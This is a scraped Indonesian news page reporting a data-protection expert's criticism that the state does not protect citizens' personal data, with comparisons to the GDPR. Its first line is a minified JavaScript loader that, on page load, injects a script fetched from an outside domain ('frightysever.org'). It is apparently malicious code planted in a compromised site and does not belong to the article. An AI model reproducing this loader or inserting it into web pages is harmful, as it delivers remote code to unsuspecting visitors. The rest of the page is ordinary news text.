(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Negara Belum Hadir untuk Lindungi Data Pribadi Warga


KANALKALIMANTAN.COM – Negara dinilai belum hadir untuk melindungi data pribadi warganya sendiri, demikian dikatakan oleh Ismail Fahmi, analis media sosial sekaligus pendiri Drone Emprit dan Media Kernels Indonesia.

Kritik ini disampaikan Ismail saat menyoroti tentang perlindungi data pribadi di Indonesia, lebih khusus soal praktik pengumpulan data pribadi warga di Indonesia baik oleh pemerintah maupun oleh perusahaan swasta.

“Negara belum terasa kehadirannya dalam melindungi data pribadi warga,” kata Ismail dalam serangkaian cuitannya di Twitter pada Senin malam (16/8/2021).

Ismail menjelaskan bahwa di Indonesia baik pemerintah, perusahaan BUMN, maupun swasta sering meminta data pribadi warga untuk verifikasi dalam memberikan layanan. Yang sering diminta adalah foto kopi atau foto KTP dan Kartu Keluarga.

 

 

Baca juga: Tewaskan 5 Orang, Aliansi Masyarakat Ajukan Kasasi Soal Kasus Tumpahan Minyak di Teluk Balikpapan

Sayangnya meski sering diklaim terjaga dengan aman, faktanya banyak data pribadi warga itu yang tersebar luas di internet dan bahkan diperjualbelikan secara bebas.

Di saat yang sama tidak ada tindakan tegas dari pemerintah untuk mengusut dan menangkap para pengumpul data yang tak bertanggung jawab tersebut dan juga mereka yang menjualnya.

Sialnya di saat yang sama, sebagian besar masyarakat seperti tidak peduli atau tidak keberatan data-data mereka dikumpulkan dengan semena-mena dan tanpa jaminan perlindungan.

Ismail membandingkan kondisi di Indonesia dengan di Eropa, tempat perlindungan atas data pribadi warga ditegakkan dengan regulasi General Data Protection Regulation.

“Kalau di GDPR (General Data Protection Regulation), institusi yang kebocoran wajib memberitahu pengguna maksimal 72 jam setelah tahu bocor. Kalau tidak, akan didenda,” kata dia.

“Di Indonesia belum ada aturan itu,” imbuh Ismail.

Ia, karenanya menyarankan agar pemerintah mengadopsi tujuh prinsip GDPR dalam perlindungan data pribadi warga. Pertama adalah transparan, lalu melakukan pengumpulan data yang terbatas sesuai kebutuhan, hapus data yang tidak perlu, akurat, membatasi penyimpanan data pribadi, integritas dan kerahasiaan, serta akuntabilitas.

Terakhir Ismail Fahmi menegaskan bahwa semua regulasi itu harus dibarengi dengan penerapan aturan dan sanksi yang tegas. Jika ada perusahaan atau lembaga yang melanggar, sebaiknya diberikan sanksi tegas seperti denda. (Suara.com)

Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.